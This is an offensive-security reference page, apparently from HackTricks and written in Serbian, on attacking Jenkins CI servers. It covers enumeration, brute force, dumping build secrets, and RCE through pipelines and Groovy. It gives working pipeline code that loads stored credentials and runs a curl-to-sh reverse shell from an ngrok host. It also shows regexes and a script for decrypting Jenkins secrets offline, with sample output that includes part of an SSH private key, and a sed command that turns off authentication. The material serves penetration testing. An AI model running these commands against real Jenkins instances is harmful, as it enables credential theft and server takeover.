Jenkins Security
Reading time: 13 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Osnovne informacije
Jenkins je alat koji nudi jednostavan način za uspostavljanje kontinuirane integracije ili kontinuirane isporuke (CI/CD) okruženja za gotovo bilo koju kombinaciju programskih jezika i repozitorijuma izvornog koda koristeći pipeline-ove. Pored toga, automatizuje razne rutinske razvojne zadatke. Iako Jenkins ne eliminiše potrebu za kreiranjem skripti za pojedinačne korake, pruža brži i robusniji način za integraciju celokupnog niza alata za izgradnju, testiranje i implementaciju nego što se može lako konstruisati ručno.
Neautentifikovana enumeracija
Da biste pretraživali zanimljive Jenkins stranice bez autentifikacije kao što su (/people ili /asynchPeople, ovo prikazuje trenutne korisnike) možete koristiti:
msf> use auxiliary/scanner/http/jenkins_enum
Proverite da li možete izvršavati komande bez potrebe za autentifikacijom:
msf> use auxiliary/scanner/http/jenkins_command
Bez kredencijala možete pogledati unutar /asynchPeople/ putanje ili /securityRealm/user/admin/search/index?q= za korisnička imena.
Možda ćete moći da dobijete verziju Jenkins-a iz putanje /oops ili /error.
Poznate ranjivosti
GitHub - gquere/pwn_jenkins: Notes about attacking Jenkins servers
Prijava
U osnovnim informacijama možete proveriti sve načine za prijavu unutar Jenkins-a:
Registracija
Moći ćete da pronađete Jenkins instance koje dozvoljavaju da kreirate nalog i prijavite se u njega. Tako jednostavno.
SSO Prijava
Takođe, ako su SSO funkcionalnosti/pluginovi prisutni, onda biste trebali pokušati da se prijavite u aplikaciju koristeći test nalog (npr., test Github/Bitbucket nalog). Trik iz ovde.
Bruteforce
Jenkins nema politiku lozinki i mitigaciju brute-force napada na korisnička imena. Bitno je brute-force korisnike jer se mogu koristiti slabe lozinke ili korisnička imena kao lozinke, čak i obrnuta korisnička imena kao lozinke.
msf> use auxiliary/scanner/http/jenkins_login
Password spraying
Koristite ovaj python skript ili ovaj powershell skript.
IP Whitelisting Bypass
Mnoge organizacije kombinuju SaaS-based source control management (SCM) systems kao što su GitHub ili GitLab sa internim, samostalno hostovanim CI rešenjem poput Jenkins-a ili TeamCity-a. Ova postavka omogućava CI sistemima da prijemaju webhook događaje od SaaS provajdera za kontrolu izvora, prvenstveno za pokretanje pipeline poslova.
Da bi to postigle, organizacije stavljaju na belu listu IP opsege SCM platformi, omogućavajući im pristup internom CI sistemu putem webhook-a. Međutim, važno je napomenuti da bilo ko može da kreira nalog na GitHub-u ili GitLab-u i konfiguriše ga da pokrene webhook, potencijalno šaljući zahteve internom CI sistemu.
Internal Jenkins Abuses
U ovim scenarijima pretpostavljamo da imate važeći nalog za pristup Jenkins-u.
warning
U zavisnosti od Authorization mehanizma konfiguranog u Jenkins-u i dozvole kompromitovanog korisnika, možda ćete moći ili ne moći da izvršite sledeće napade.
Za više informacija proverite osnovne informacije:
Listing users
Ako ste pristupili Jenkins-u, možete da navedete druge registrovane korisnike na http://127.0.0.1:8080/asynchPeople/
Dumping builds to find cleartext secrets
Koristite ovaj skript da izbacite izlaze konzole gradnje i promenljive okruženja gradnje kako biste se nadali da ćete pronaći tajne u čistom tekstu.
python3 jenkins_dump_builds.py -u alice -p alice http://127.0.0.1:8080/ -o build_dumps
cd build_dumps
gitleaks detect --no-git -v
Krađa SSH kredencijala
Ako kompromitovani korisnik ima dovoljno privilegija da kreira/modifikuje novi Jenkins čvor i SSH kredencijali su već sačuvani za pristup drugim čvorovima, mogao bi ukrasti te kredencijale kreiranjem/modifikovanjem čvora i postavljanjem hosta koji će snimati kredencijale bez verifikacije host ključa:
Obično ćete pronaći Jenkins ssh kredencijale u globalnom provajderu (/credentials/
), tako da ih možete i dumpovati kao što biste dumpovali bilo koju drugu tajnu. Više informacija u odeljku o dumpovanju tajni.
RCE u Jenkins-u
Dobijanje shell-a na Jenkins serveru daje napadaču priliku da otkrije sve tajne i env varijable i da iskoristi druge mašine locirane u istoj mreži ili čak prikupi cloud kredencijale.
Podrazumevano, Jenkins će raditi kao SYSTEM. Tako da, kompromitovanje će napadaču dati SYSTEM privilegije.
RCE Kreiranje/Modifikovanje projekta
Kreiranje/Modifikovanje projekta je način da se dobije RCE nad Jenkins serverom:
Jenkins RCE Creating/Modifying Project
RCE Izvršavanje Groovy skripte
Takođe možete dobiti RCE izvršavanjem Groovy skripte, koja može biti manje uočljiva od kreiranja novog projekta:
Jenkins RCE with Groovy Script
RCE Kreiranje/Modifikovanje Pipeline-a
Takođe možete dobiti RCE kreiranjem/modifikovanjem pipeline-a:
Jenkins RCE Creating/Modifying Pipeline
Eksploatacija Pipeline-a
Da biste eksploatisali pipeline-ove, još uvek morate imati pristup Jenkins-u.
Build Pipeline-i
Pipeline-i se takođe mogu koristiti kao mehanizam za izgradnju u projektima, u tom slučaju može se konfigurisati fajl unutar repozitorijuma koji će sadržati sintaksu pipeline-a. Podrazumevano se koristi /Jenkinsfile
:
Takođe je moguće čuvati konfiguracione fajlove pipeline-a na drugim mestima (na drugim repozitorijumima, na primer) sa ciljem razdvajanja pristupa repozitorijumu i pristupa pipeline-u.
Ako napadač ima pravo pisanja nad tim fajlom, moći će da modifikuje i potencijalno pokrene pipeline bez čak i pristupa Jenkins-u.
Moguće je da će napadač morati da obiđe neke zaštite grana (u zavisnosti od platforme i privilegija korisnika, one se mogu obići ili ne).
Najčešći okidači za izvršavanje prilagođenog pipeline-a su:
- Pull request na glavnu granu (ili potencijalno na druge grane)
- Push na glavnu granu (ili potencijalno na druge grane)
- Ažuriranje glavne grane i čekanje da se na neki način izvrši
note
Ako ste spoljašnji korisnik, ne biste trebali očekivati da kreirate PR na glavnu granu repozitorijuma drugog korisnika/organizacije i pokrenete pipeline... ali ako je loše konfigurisano, mogli biste potpuno kompromitovati kompanije samo iskorišćavajući ovo.
Pipeline RCE
U prethodnom RCE odeljku već je naznačena tehnika za dobijanje RCE modifikovanjem pipeline-a.
Proveravanje Env varijabli
Moguće je deklarisati env varijable u čistom tekstu za ceo pipeline ili za specifične faze. Ove env varijable ne bi trebale sadržati osetljive informacije, ali napadač uvek može proveriti sve konfiguracije pipeline-a/Jenkinsfile-ove:
pipeline {
agent {label 'built-in'}
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
Dumping secrets
Za informacije o tome kako se tajne obično tretiraju u Jenkins-u, pogledajte osnovne informacije:
Akreditivi mogu biti ograničeni na globalne provajdere (/credentials/
) ili na specifične projekte (/job/<project-name>/configure
). Stoga, da biste eksfiltrirali sve njih, morate kompromitovati barem sve projekte koji sadrže tajne i izvršiti prilagođene/otrovane pipeline-ove.
Postoji još jedan problem, da biste dobili tajnu unutar env pipeline-a, morate znati ime i tip tajne. Na primer, ako pokušate da učitate usernamePassword
tajnu kao string
tajnu, dobićete ovu grešku:
ERROR: Credentials 'flag2' is of type 'Username with password' where 'org.jenkinsci.plugins.plaincredentials.StringCredentials' was expected
Evo kako da učitate neke uobičajene tipove tajni:
withCredentials([usernamePassword(credentialsId: 'flag2', usernameVariable: 'USERNAME', passwordVariable: 'PASS')]) {
sh '''
env #Search for USERNAME and PASS
'''
}
withCredentials([string(credentialsId: 'flag1', variable: 'SECRET')]) {
sh '''
env #Search for SECRET
'''
}
withCredentials([usernameColonPassword(credentialsId: 'mylogin', variable: 'USERPASS')]) {
sh '''
env # Search for USERPASS
'''
}
# You can also load multiple env variables at once
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
env
'''
}
Na kraju ove stranice možete pronaći sve tipove kredencijala: https://www.jenkins.io/doc/pipeline/steps/credentials-binding/
warning
Najbolji način da izvučete sve tajne odjednom je da kompromitujete Jenkins mašinu (na primer, pokretanjem reverzne ljuske u ugrađenom čvoru) i zatim procurite glavne ključeve i kriptovane tajne i dekriptujete ih offline.
Više o tome kako to uraditi u odeljku Čvorovi i Agenti i u odeljku Post Eksploatacija.
Okidači
Iz dokumentacije: Direktiva triggers
definiše automatske načine na koje bi Pipeline trebao biti ponovo aktiviran. Za Pipelines koji su integrisani sa izvorom kao što su GitHub ili BitBucket, triggers
možda neće biti potrebni jer će integracija zasnovana na webhook-ovima verovatno već biti prisutna. Trenutno dostupni okidači su cron
, pollSCM
i upstream
.
Primer cron:
triggers { cron('H */4 * * 1-5') }
Proverite druge primere u dokumentaciji.
Čvorovi i Agenti
Jenkins instanca može imati različite agente koji rade na različitim mašinama. Sa perspektive napadača, pristup različitim mašinama znači različite potencijalne cloud kredencijale koje se mogu ukrasti ili različit pristup mreži koji se može zloupotrebiti za eksploataciju drugih mašina.
Za više informacija proverite osnovne informacije:
Možete enumerisati konfigurisane čvorove u /computer/
, obično ćete pronaći Built-In Node
(koji je čvor koji pokreće Jenkins) i potencijalno više:
Posebno je zanimljivo kompromitovati Built-In čvor jer sadrži osetljive Jenkins informacije.
Da biste naznačili da želite da pokrenete pipeline u ugrađenom Jenkins čvoru, možete uneti sledeću konfiguraciju unutar pipeline-a:
pipeline {
agent {label 'built-in'}
Potpuni primer
Pipeline u specifičnom agentu, sa cron okidačem, sa pipeline i stage promenljivim okruženjima, učitavajući 2 promenljive u koraku i šaljući reverznu ljusku:
pipeline {
agent {label 'built-in'}
triggers { cron('H */4 * * 1-5') }
environment {
GENERIC_ENV_VAR = "Test pipeline ENV variables."
}
stages {
stage("Build") {
environment {
STAGE_ENV_VAR = "Test stage ENV variables."
}
steps {
withCredentials([usernamePassword(credentialsId: 'amazon', usernameVariable: 'USERNAME', passwordVariable: 'PASSWORD'),
string(credentialsId: 'slack-url',variable: 'SLACK_URL'),]) {
sh '''
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh PASS
'''
}
}
}
post {
always {
cleanWs()
}
}
}
Pročitajte proizvoljnu datoteku do RCE
Jenkins Arbitrary File Read to RCE via "Remember Me"
RCE
Jenkins RCE with Groovy Script
Jenkins RCE Creating/Modifying Project
Jenkins RCE Creating/Modifying Pipeline
Post Eksploatacija
Metasploit
msf> post/multi/gather/jenkins_gather
Jenkins Tajne
Možete nabrojati tajne pristupajući /credentials/
ako imate dovoljno dozvola. Imajte na umu da će ovo samo nabrojati tajne unutar credentials.xml
datoteke, ali datoteke za konfiguraciju gradnje takođe mogu imati više kredencijala.
Ako možete videti konfiguraciju svakog projekta, možete takođe videti imena kredencijala (tajni) koji se koriste za pristup repozitorijumu i druge kredencijale projekta.
Iz Groovy
Jenkins Dumping Secrets from Groovy
Iz diska
Ove datoteke su potrebne za dešifrovanje Jenkins tajni:
- secrets/master.key
- secrets/hudson.util.Secret
Takve tajne se obično mogu naći u:
- credentials.xml
- jobs/.../build.xml
- jobs/.../config.xml
Evo regex-a da ih pronađete:
# Find the secrets
grep -re "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Print only the filenames where the secrets are located
grep -lre "^\s*<[a-zA-Z]*>{[a-zA-Z0-9=+/]*}<"
# Secret example
credentials.xml: <secret>{AQAAABAAAAAwsSbQDNcKIRQMjEMYYJeSIxi2d3MHmsfW3d1Y52KMOmZ9tLYyOzTSvNoTXdvHpx/kkEbRZS9OYoqzGsIFXtg7cw==}</secret>
Decrypt Jenkins secrets offline
Ako ste izvezli potrebne lozinke za dešifrovanje tajni, koristite ovaj skript da dešifrujete te tajne.
python3 jenkins_offline_decrypt.py master.key hudson.util.Secret cred.xml
06165DF2-C047-4402-8CAB-1C8EC526C115
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAt985Hbb8KfIImS6dZlVG6swiotCiIlg/P7aME9PvZNUgg2Iyf2FT
Dešifrovanje Jenkins tajni iz Groovy-a
println(hudson.util.Secret.decrypt("{...}"))
Kreirajte novog admin korisnika
- Pristupite Jenkins config.xml datoteci u
/var/lib/jenkins/config.xml
iliC:\Program Files (x86)\Jenkis\
- Potražite reč
<useSecurity>true</useSecurity>
i promenite rečtrue
ufalse
. sed -i -e 's/<useSecurity>true</<useSecurity>false</g' config.xml
- Restartujte Jenkins server:
service jenkins restart
- Sada ponovo idite na Jenkins portal i Jenkins neće tražiti nikakve kredencijale ovaj put. Navigirajte do "Manage Jenkins" da ponovo postavite administratorsku lozinku.
- Ponovo omogućite bezbednost promenom postavki na
<useSecurity>true</useSecurity>
i ponovo restartujte Jenkins.
Reference
- https://github.com/gquere/pwn_jenkins
- https://leonjza.github.io/blog/2015/05/27/jenkins-to-meterpreter---toying-with-powersploit/
- https://www.pentestgeek.com/penetration-testing/hacking-jenkins-servers-with-no-password
- https://www.lazysystemadmin.com/2018/12/quick-howto-reset-jenkins-admin-password.html
- https://medium.com/cider-sec/exploiting-jenkins-build-authorization-22bf72926072
- https://medium.com/@Proclus/tryhackme-internal-walk-through-90ec901926d3
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.